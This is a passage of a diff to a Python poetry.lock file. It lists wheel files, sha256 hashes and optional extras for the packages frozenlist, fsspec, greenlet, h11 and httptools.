"sha256:bed331fe18f58d844d39ceb398b77d6ac0b010d571cba8267c2e7165806b00ce"}, + {file = "frozenlist-1.3.3-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:02c9ac843e3390826a265e331105efeab489ffaf4dd86384595ee8ce6d35ae7f"}, + {file = "frozenlist-1.3.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:9545a33965d0d377b0bc823dcabf26980e77f1b6a7caa368a365a9497fb09420"}, + {file = "frozenlist-1.3.3-cp310-cp310-win32.whl", hash = "sha256:d5cd3ab21acbdb414bb6c31958d7b06b85eeb40f66463c264a9b343a4e238642"}, + {file = "frozenlist-1.3.3-cp310-cp310-win_amd64.whl", hash = "sha256:b756072364347cb6aa5b60f9bc18e94b2f79632de3b0190253ad770c5df17db1"}, + {file = "frozenlist-1.3.3-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:b4395e2f8d83fbe0c627b2b696acce67868793d7d9750e90e39592b3626691b7"}, + {file = "frozenlist-1.3.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:14143ae966a6229350021384870458e4777d1eae4c28d1a7aa47f24d030e6678"}, + {file = "frozenlist-1.3.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:5d8860749e813a6f65bad8285a0520607c9500caa23fea6ee407e63debcdbef6"}, + {file = "frozenlist-1.3.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:23d16d9f477bb55b6154654e0e74557040575d9d19fe78a161bd33d7d76808e8"}, + {file = "frozenlist-1.3.3-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:eb82dbba47a8318e75f679690190c10a5e1f447fbf9df41cbc4c3afd726d88cb"}, + {file = "frozenlist-1.3.3-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9309869032abb23d196cb4e4db574232abe8b8be1339026f489eeb34a4acfd91"}, + {file = "frozenlist-1.3.3-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a97b4fe50b5890d36300820abd305694cb865ddb7885049587a5678215782a6b"}, + {file = "frozenlist-1.3.3-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c188512b43542b1e91cadc3c6c915a82a5eb95929134faf7fd109f14f9892ce4"}, + {file = "frozenlist-1.3.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:303e04d422e9b911a09ad499b0368dc551e8c3cd15293c99160c7f1f07b59a48"}, + {file = "frozenlist-1.3.3-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:0771aed7f596c7d73444c847a1c16288937ef988dc04fb9f7be4b2aa91db609d"}, + {file = "frozenlist-1.3.3-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:66080ec69883597e4d026f2f71a231a1ee9887835902dbe6b6467d5a89216cf6"}, + {file = "frozenlist-1.3.3-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:41fe21dc74ad3a779c3d73a2786bdf622ea81234bdd4faf90b8b03cad0c2c0b4"}, + {file = "frozenlist-1.3.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:f20380df709d91525e4bee04746ba612a4df0972c1b8f8e1e8af997e678c7b81"}, + {file = "frozenlist-1.3.3-cp311-cp311-win32.whl", hash = "sha256:f30f1928162e189091cf4d9da2eac617bfe78ef907a761614ff577ef4edfb3c8"}, + {file = "frozenlist-1.3.3-cp311-cp311-win_amd64.whl", hash = "sha256:a6394d7dadd3cfe3f4b3b186e54d5d8504d44f2d58dcc89d693698e8b7132b32"}, + {file = "frozenlist-1.3.3-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:8df3de3a9ab8325f94f646609a66cbeeede263910c5c0de0101079ad541af332"}, + {file = "frozenlist-1.3.3-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0693c609e9742c66ba4870bcee1ad5ff35462d5ffec18710b4ac89337ff16e27"}, + {file = "frozenlist-1.3.3-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:cd4210baef299717db0a600d7a3cac81d46ef0e007f88c9335db79f8979c0d3d"}, + {file = "frozenlist-1.3.3-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:394c9c242113bfb4b9aa36e2b80a05ffa163a30691c7b5a29eba82e937895d5e"}, + {file = "frozenlist-1.3.3-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6327eb8e419f7d9c38f333cde41b9ae348bec26d840927332f17e887a8dcb70d"}, + {file = "frozenlist-1.3.3-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2e24900aa13212e75e5b366cb9065e78bbf3893d4baab6052d1aca10d46d944c"}, + {file = "frozenlist-1.3.3-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:3843f84a6c465a36559161e6c59dce2f2ac10943040c2fd021cfb70d58c4ad56"}, + {file = "frozenlist-1.3.3-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:84610c1502b2461255b4c9b7d5e9c48052601a8957cd0aea6ec7a7a1e1fb9420"}, + {file = "frozenlist-1.3.3-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:c21b9aa40e08e4f63a2f92ff3748e6b6c84d717d033c7b3438dd3123ee18f70e"}, + {file = "frozenlist-1.3.3-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:efce6ae830831ab6a22b9b4091d411698145cb9b8fc869e1397ccf4b4b6455cb"}, + {file = "frozenlist-1.3.3-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:40de71985e9042ca00b7953c4f41eabc3dc514a2d1ff534027f091bc74416401"}, + {file = "frozenlist-1.3.3-cp37-cp37m-win32.whl", hash = "sha256:180c00c66bde6146a860cbb81b54ee0df350d2daf13ca85b275123bbf85de18a"}, + {file = "frozenlist-1.3.3-cp37-cp37m-win_amd64.whl", hash = "sha256:9bbbcedd75acdfecf2159663b87f1bb5cfc80e7cd99f7ddd9d66eb98b14a8411"}, + {file = "frozenlist-1.3.3-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:034a5c08d36649591be1cbb10e09da9f531034acfe29275fc5454a3b101ce41a"}, + {file = "frozenlist-1.3.3-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:ba64dc2b3b7b158c6660d49cdb1d872d1d0bf4e42043ad8d5006099479a194e5"}, + {file = "frozenlist-1.3.3-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:47df36a9fe24054b950bbc2db630d508cca3aa27ed0566c0baf661225e52c18e"}, + {file = "frozenlist-1.3.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:008a054b75d77c995ea26629ab3a0c0d7281341f2fa7e1e85fa6153ae29ae99c"}, + {file = "frozenlist-1.3.3-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:841ea19b43d438a80b4de62ac6ab21cfe6827bb8a9dc62b896acc88eaf9cecba"}, + {file = "frozenlist-1.3.3-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e235688f42b36be2b6b06fc37ac2126a73b75fb8d6bc66dd632aa35286238703"}, + {file = "frozenlist-1.3.3-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ca713d4af15bae6e5d79b15c10c8522859a9a89d3b361a50b817c98c2fb402a2"}, + {file = "frozenlist-1.3.3-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9ac5995f2b408017b0be26d4a1d7c61bce106ff3d9e3324374d66b5964325448"}, + {file = "frozenlist-1.3.3-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:a4ae8135b11652b08a8baf07631d3ebfe65a4c87909dbef5fa0cdde440444ee4"}, + {file = "frozenlist-1.3.3-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:4ea42116ceb6bb16dbb7d526e242cb6747b08b7710d9782aa3d6732bd8d27649"}, + {file = "frozenlist-1.3.3-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:810860bb4bdce7557bc0febb84bbd88198b9dbc2022d8eebe5b3590b2ad6c842"}, + {file = "frozenlist-1.3.3-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:ee78feb9d293c323b59a6f2dd441b63339a30edf35abcb51187d2fc26e696d13"}, + {file = "frozenlist-1.3.3-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:0af2e7c87d35b38732e810befb9d797a99279cbb85374d42ea61c1e9d23094b3"}, + {file = "frozenlist-1.3.3-cp38-cp38-win32.whl", hash = "sha256:899c5e1928eec13fd6f6d8dc51be23f0d09c5281e40d9cf4273d188d9feeaf9b"}, + {file = "frozenlist-1.3.3-cp38-cp38-win_amd64.whl", hash = "sha256:7f44e24fa70f6fbc74aeec3e971f60a14dde85da364aa87f15d1be94ae75aeef"}, + {file = "frozenlist-1.3.3-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:2b07ae0c1edaa0a36339ec6cce700f51b14a3fc6545fdd32930d2c83917332cf"}, + {file = "frozenlist-1.3.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:ebb86518203e12e96af765ee89034a1dbb0c3c65052d1b0c19bbbd6af8a145e1"}, + {file = "frozenlist-1.3.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:5cf820485f1b4c91e0417ea0afd41ce5cf5965011b3c22c400f6d144296ccbc0"}, + {file = "frozenlist-1.3.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5c11e43016b9024240212d2a65043b70ed8dfd3b52678a1271972702d990ac6d"}, + {file = "frozenlist-1.3.3-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8fa3c6e3305aa1146b59a09b32b2e04074945ffcfb2f0931836d103a2c38f936"}, + {file = "frozenlist-1.3.3-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:352bd4c8c72d508778cf05ab491f6ef36149f4d0cb3c56b1b4302852255d05d5"}, + {file = "frozenlist-1.3.3-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:65a5e4d3aa679610ac6e3569e865425b23b372277f89b5ef06cf2cdaf1ebf22b"}, + {file = "frozenlist-1.3.3-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b1e2c1185858d7e10ff045c496bbf90ae752c28b365fef2c09cf0fa309291669"}, + {file = "frozenlist-1.3.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:f163d2fd041c630fed01bc48d28c3ed4a3b003c00acd396900e11ee5316b56bb"}, + {file = "frozenlist-1.3.3-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:05cdb16d09a0832eedf770cb7bd1fe57d8cf4eaf5aced29c4e41e3f20b30a784"}, + {file = "frozenlist-1.3.3-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:8bae29d60768bfa8fb92244b74502b18fae55a80eac13c88eb0b496d4268fd2d"}, + {file = "frozenlist-1.3.3-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:eedab4c310c0299961ac285591acd53dc6723a1ebd90a57207c71f6e0c2153ab"}, + {file = "frozenlist-1.3.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:3bbdf44855ed8f0fbcd102ef05ec3012d6a4fd7c7562403f76ce6a52aeffb2b1"}, + {file = "frozenlist-1.3.3-cp39-cp39-win32.whl", hash = "sha256:efa568b885bca461f7c7b9e032655c0c143d305bf01c30caf6db2854a4532b38"}, + {file = "frozenlist-1.3.3-cp39-cp39-win_amd64.whl", hash = "sha256:cfe33efc9cb900a4c46f91a5ceba26d6df370ffddd9ca386eb1d4f0ad97b9ea9"}, + {file = "frozenlist-1.3.3.tar.gz", hash = "sha256:58bcc55721e8a90b88332d6cd441261ebb22342e238296bb330968952fbb3a6a"}, +] + +[[package]] +name = "fsspec" +version = "2023.6.0" +description = "File-system specification" +optional = false +python-versions = ">=3.8" +files = [ + {file = "fsspec-2023.6.0-py3-none-any.whl", hash = "sha256:1cbad1faef3e391fba6dc005ae9b5bdcbf43005c9167ce78c915549c352c869a"}, + {file = "fsspec-2023.6.0.tar.gz", hash = "sha256:d0b2f935446169753e7a5c5c55681c54ea91996cc67be93c39a154fb3a2742af"}, +] + +[package.extras] +abfs = ["adlfs"] +adl = ["adlfs"] +arrow = ["pyarrow (>=1)"] +dask = ["dask", "distributed"] +devel = ["pytest", "pytest-cov"] +dropbox = ["dropbox", "dropboxdrivefs", "requests"] +full = ["adlfs", "aiohttp (!=4.0.0a0,!=4.0.0a1)", "dask", "distributed", "dropbox", "dropboxdrivefs", "fusepy", "gcsfs", "libarchive-c", "ocifs", "panel", "paramiko", "pyarrow (>=1)", "pygit2", "requests", "s3fs", "smbprotocol", "tqdm"] +fuse = ["fusepy"] +gcs = ["gcsfs"] +git = ["pygit2"] +github = ["requests"] +gs = ["gcsfs"] +gui = ["panel"] +hdfs = ["pyarrow (>=1)"] +http = ["aiohttp (!=4.0.0a0,!=4.0.0a1)", "requests"] +libarchive = ["libarchive-c"] +oci = ["ocifs"] +s3 = ["s3fs"] +sftp = ["paramiko"] +smb = ["smbprotocol"] +ssh = ["paramiko"] +tqdm = ["tqdm"] + +[[package]] +name = "greenlet" +version = "2.0.2" +description = "Lightweight in-process concurrent programming" +optional = false +python-versions = ">=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*" +files = [ + {file = "greenlet-2.0.2-cp27-cp27m-macosx_10_14_x86_64.whl", hash = "sha256:bdfea8c661e80d3c1c99ad7c3ff74e6e87184895bbaca6ee8cc61209f8b9b85d"}, + {file = "greenlet-2.0.2-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:9d14b83fab60d5e8abe587d51c75b252bcc21683f24699ada8fb275d7712f5a9"}, + {file = "greenlet-2.0.2-cp27-cp27m-win32.whl", hash = "sha256:6c3acb79b0bfd4fe733dff8bc62695283b57949ebcca05ae5c129eb606ff2d74"}, + {file = "greenlet-2.0.2-cp27-cp27m-win_amd64.whl", hash = "sha256:283737e0da3f08bd637b5ad058507e578dd462db259f7f6e4c5c365ba4ee9343"}, + {file = "greenlet-2.0.2-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:d27ec7509b9c18b6d73f2f5ede2622441de812e7b1a80bbd446cb0633bd3d5ae"}, + {file = "greenlet-2.0.2-cp310-cp310-macosx_11_0_x86_64.whl", hash = "sha256:30bcf80dda7f15ac77ba5af2b961bdd9dbc77fd4ac6105cee85b0d0a5fcf74df"}, + {file = "greenlet-2.0.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:26fbfce90728d82bc9e6c38ea4d038cba20b7faf8a0ca53a9c07b67318d46088"}, + {file = "greenlet-2.0.2-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9190f09060ea4debddd24665d6804b995a9c122ef5917ab26e1566dcc712ceeb"}, + {file = "greenlet-2.0.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d75209eed723105f9596807495d58d10b3470fa6732dd6756595e89925ce2470"}, + {file = "greenlet-2.0.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:3a51c9751078733d88e013587b108f1b7a1fb106d402fb390740f002b6f6551a"}, + {file = "greenlet-2.0.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:76ae285c8104046b3a7f06b42f29c7b73f77683df18c49ab5af7983994c2dd91"}, + {file = "greenlet-2.0.2-cp310-cp310-win_amd64.whl", hash = "sha256:2d4686f195e32d36b4d7cf2d166857dbd0ee9f3d20ae349b6bf8afc8485b3645"}, + {file = "greenlet-2.0.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:c4302695ad8027363e96311df24ee28978162cdcdd2006476c43970b384a244c"}, + {file = "greenlet-2.0.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c48f54ef8e05f04d6eff74b8233f6063cb1ed960243eacc474ee73a2ea8573ca"}, + {file = "greenlet-2.0.2-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a1846f1b999e78e13837c93c778dcfc3365902cfb8d1bdb7dd73ead37059f0d0"}, + {file = "greenlet-2.0.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3a06ad5312349fec0ab944664b01d26f8d1f05009566339ac6f63f56589bc1a2"}, + {file = "greenlet-2.0.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:eff4eb9b7eb3e4d0cae3d28c283dc16d9bed6b193c2e1ace3ed86ce48ea8df19"}, + {file = "greenlet-2.0.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:5454276c07d27a740c5892f4907c86327b632127dd9abec42ee62e12427ff7e3"}, + {file = "greenlet-2.0.2-cp311-cp311-win_amd64.whl", hash = "sha256:7cafd1208fdbe93b67c7086876f061f660cfddc44f404279c1585bbf3cdc64c5"}, + {file = "greenlet-2.0.2-cp35-cp35m-macosx_10_14_x86_64.whl", hash = "sha256:910841381caba4f744a44bf81bfd573c94e10b3045ee00de0cbf436fe50673a6"}, + {file = "greenlet-2.0.2-cp35-cp35m-manylinux2010_x86_64.whl", hash = "sha256:18a7f18b82b52ee85322d7a7874e676f34ab319b9f8cce5de06067384aa8ff43"}, + {file = "greenlet-2.0.2-cp35-cp35m-win32.whl", hash = "sha256:03a8f4f3430c3b3ff8d10a2a86028c660355ab637cee9333d63d66b56f09d52a"}, + {file = "greenlet-2.0.2-cp35-cp35m-win_amd64.whl", hash = "sha256:4b58adb399c4d61d912c4c331984d60eb66565175cdf4a34792cd9600f21b394"}, + {file = "greenlet-2.0.2-cp36-cp36m-macosx_10_14_x86_64.whl", hash = "sha256:703f18f3fda276b9a916f0934d2fb6d989bf0b4fb5a64825260eb9bfd52d78f0"}, + {file = "greenlet-2.0.2-cp36-cp36m-manylinux2010_x86_64.whl", hash = "sha256:32e5b64b148966d9cccc2c8d35a671409e45f195864560829f395a54226408d3"}, + {file = "greenlet-2.0.2-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2dd11f291565a81d71dab10b7033395b7a3a5456e637cf997a6f33ebdf06f8db"}, + {file = "greenlet-2.0.2-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e0f72c9ddb8cd28532185f54cc1453f2c16fb417a08b53a855c4e6a418edd099"}, + {file = "greenlet-2.0.2-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cd021c754b162c0fb55ad5d6b9d960db667faad0fa2ff25bb6e1301b0b6e6a75"}, + {file = "greenlet-2.0.2-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:3c9b12575734155d0c09d6c3e10dbd81665d5c18e1a7c6597df72fd05990c8cf"}, + {file = "greenlet-2.0.2-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:b9ec052b06a0524f0e35bd8790686a1da006bd911dd1ef7d50b77bfbad74e292"}, + {file = "greenlet-2.0.2-cp36-cp36m-win32.whl", hash = "sha256:dbfcfc0218093a19c252ca8eb9aee3d29cfdcb586df21049b9d777fd32c14fd9"}, + {file = "greenlet-2.0.2-cp36-cp36m-win_amd64.whl", hash = "sha256:9f35ec95538f50292f6d8f2c9c9f8a3c6540bbfec21c9e5b4b751e0a7c20864f"}, + {file = "greenlet-2.0.2-cp37-cp37m-macosx_10_15_x86_64.whl", hash = "sha256:d5508f0b173e6aa47273bdc0a0b5ba055b59662ba7c7ee5119528f466585526b"}, + {file = "greenlet-2.0.2-cp37-cp37m-manylinux2010_x86_64.whl", hash = "sha256:f82d4d717d8ef19188687aa32b8363e96062911e63ba22a0cff7802a8e58e5f1"}, + {file = "greenlet-2.0.2-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c9c59a2120b55788e800d82dfa99b9e156ff8f2227f07c5e3012a45a399620b7"}, + {file = "greenlet-2.0.2-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2780572ec463d44c1d3ae850239508dbeb9fed38e294c68d19a24d925d9223ca"}, + {file = "greenlet-2.0.2-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:937e9020b514ceedb9c830c55d5c9872abc90f4b5862f89c0887033ae33c6f73"}, + {file = "greenlet-2.0.2-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:36abbf031e1c0f79dd5d596bfaf8e921c41df2bdf54ee1eed921ce1f52999a86"}, + {file = "greenlet-2.0.2-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:18e98fb3de7dba1c0a852731c3070cf022d14f0d68b4c87a19cc1016f3bb8b33"}, + {file = "greenlet-2.0.2-cp37-cp37m-win32.whl", hash = "sha256:3f6ea9bd35eb450837a3d80e77b517ea5bc56b4647f5502cd28de13675ee12f7"}, + {file = "greenlet-2.0.2-cp37-cp37m-win_amd64.whl", hash = "sha256:7492e2b7bd7c9b9916388d9df23fa49d9b88ac0640db0a5b4ecc2b653bf451e3"}, + {file = "greenlet-2.0.2-cp38-cp38-macosx_10_15_x86_64.whl", hash = "sha256:b864ba53912b6c3ab6bcb2beb19f19edd01a6bfcbdfe1f37ddd1778abfe75a30"}, + {file = "greenlet-2.0.2-cp38-cp38-manylinux2010_x86_64.whl", hash = "sha256:ba2956617f1c42598a308a84c6cf021a90ff3862eddafd20c3333d50f0edb45b"}, + {file = "greenlet-2.0.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fc3a569657468b6f3fb60587e48356fe512c1754ca05a564f11366ac9e306526"}, + {file = "greenlet-2.0.2-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8eab883b3b2a38cc1e050819ef06a7e6344d4a990d24d45bc6f2cf959045a45b"}, + {file = "greenlet-2.0.2-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:acd2162a36d3de67ee896c43effcd5ee3de247eb00354db411feb025aa319857"}, + {file = "greenlet-2.0.2-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:0bf60faf0bc2468089bdc5edd10555bab6e85152191df713e2ab1fcc86382b5a"}, + {file = "greenlet-2.0.2-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:b0ef99cdbe2b682b9ccbb964743a6aca37905fda5e0452e5ee239b1654d37f2a"}, + {file = "greenlet-2.0.2-cp38-cp38-win32.whl", hash = "sha256:b80f600eddddce72320dbbc8e3784d16bd3fb7b517e82476d8da921f27d4b249"}, + {file = "greenlet-2.0.2-cp38-cp38-win_amd64.whl", hash = "sha256:4d2e11331fc0c02b6e84b0d28ece3a36e0548ee1a1ce9ddde03752d9b79bba40"}, + {file = "greenlet-2.0.2-cp39-cp39-macosx_11_0_x86_64.whl", hash = "sha256:88d9ab96491d38a5ab7c56dd7a3cc37d83336ecc564e4e8816dbed12e5aaefc8"}, + {file = "greenlet-2.0.2-cp39-cp39-manylinux2010_x86_64.whl", hash = "sha256:561091a7be172ab497a3527602d467e2b3fbe75f9e783d8b8ce403fa414f71a6"}, + {file = "greenlet-2.0.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:971ce5e14dc5e73715755d0ca2975ac88cfdaefcaab078a284fea6cfabf866df"}, + {file = "greenlet-2.0.2-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:be4ed120b52ae4d974aa40215fcdfde9194d63541c7ded40ee12eb4dda57b76b"}, + {file = "greenlet-2.0.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:94c817e84245513926588caf1152e3b559ff794d505555211ca041f032abbb6b"}, + {file = "greenlet-2.0.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:1a819eef4b0e0b96bb0d98d797bef17dc1b4a10e8d7446be32d1da33e095dbb8"}, + {file = "greenlet-2.0.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:7efde645ca1cc441d6dc4b48c0f7101e8d86b54c8530141b09fd31cef5149ec9"}, + {file = "greenlet-2.0.2-cp39-cp39-win32.whl", hash = "sha256:ea9872c80c132f4663822dd2a08d404073a5a9b5ba6155bea72fb2a79d1093b5"}, + {file = "greenlet-2.0.2-cp39-cp39-win_amd64.whl", hash = "sha256:db1a39669102a1d8d12b57de2bb7e2ec9066a6f2b3da35ae511ff93b01b5d564"}, + {file = "greenlet-2.0.2.tar.gz", hash = "sha256:e7c8dc13af7db097bed64a051d2dd49e9f0af495c26995c00a9ee842690d34c0"}, +] + +[package.extras] +docs = ["Sphinx", "docutils (<0.18)"] +test = ["objgraph", "psutil"] + +[[package]] +name = "h11" +version = "0.14.0" +description = "A pure-Python, bring-your-own-I/O implementation of HTTP/1.1" +optional = false +python-versions = ">=3.7" +files = [ + {file = "h11-0.14.0-py3-none-any.whl", hash = "sha256:e3fe4ac4b851c468cc8363d500db52c2ead036020723024a109d37346efaa761"}, + {file = "h11-0.14.0.tar.gz", hash = "sha256:8f19fbbe99e72420ff35c00b27a34cb9937e902a8b810e2c88300c6f0a3b699d"}, +] + +[[package]] +name = "httptools" +version = "0.6.0" +description = "A collection of framework independent HTTP protocol utils." +optional = false +python-versions = ">=3.5.0" +files = [ + {file = "httptools-0.6.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:818325afee467d483bfab1647a72054246d29f9053fd17cc4b86cda09cc60339"}, + {file = "httptools-0.6.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:72205730bf1be875003692ca54a4a7c35fac77b4746008966061d9d41a61b0f5"}, + {file = "httptools-0.6.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:33eb1d4e609c835966e969a31b1dedf5ba16b38cab356c2ce4f3e33ffa94cad3"}, + {file = "httptools-0.6.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6bdc6675ec6cb79d27e0575750ac6e2b47032742e24eed011b8db73f2da9ed40"}, + {file = "httptools-0.6.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:463c3bc5ef64b9cf091be9ac0e0556199503f6e80456b790a917774a616aff6e"}, + {file = "httptools-0.6.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:82f228b88b0e8c6099a9c4757ce9fdbb8b45548074f8d0b1f0fc071e35655d1c"}, + {file = "httptools-0.6.0-cp310-cp310-win_amd64.whl", hash = "sha256:0781fedc610293a2716bc7fa142d4c85e6776bc59d617a807ff91246a95dea35"}, + {file = "httptools-0.6.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:721e503245d591527cddd0f6fd771d156c509e831caa7a57929b55ac91ee2b51"}, + {file = "httptools-0.6.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:274bf20eeb41b0956e34f6a81f84d26ed57c84dd9253f13dcb7174b27ccd8aaf"}, + {file = "httptools-0.6.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:259920bbae18740a40236807915def554132ad70af5067e562f4660b62c59b90"}, + {file = "httptools-0.6.0-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:03bfd2ae8a2d532952ac54445a2fb2504c804135ed28b53fefaf03d3a93eb1fd"}, + {file = "httptools-0.6.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:f959e4770b3fc8ee4dbc3578fd910fab9003e093f20ac8c621452c4d62e517cb"}, + {file = "httptools-0.6.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:6e22896b42b95b3237eccc42278cd72c0df6f23247d886b7ded3163452481e38"}, + {file = "httptools-0.6.0-cp311-cp311-win_amd64.whl", hash = "sha256:38f3cafedd6aa20ae05f81f2e616ea6f92116c8a0f8dcb79dc798df3356836e2"}, + {file = "httptools-0.6.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:47043a6e0ea753f006a9d0dd076a8f8c99bc0ecae86a0888448eb3076c43d717"}, + {file = "httptools-0.6.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:35a541579bed0270d1ac10245a3e71e5beeb1903b5fbbc8d8b4d4e728d48ff1d"}, + {file = "httptools-0.6.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:65d802e7b2538a9756df5acc062300c160907b02e15ed15ba035b02bce43e89c"}, + {file = "httptools-0.6.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = 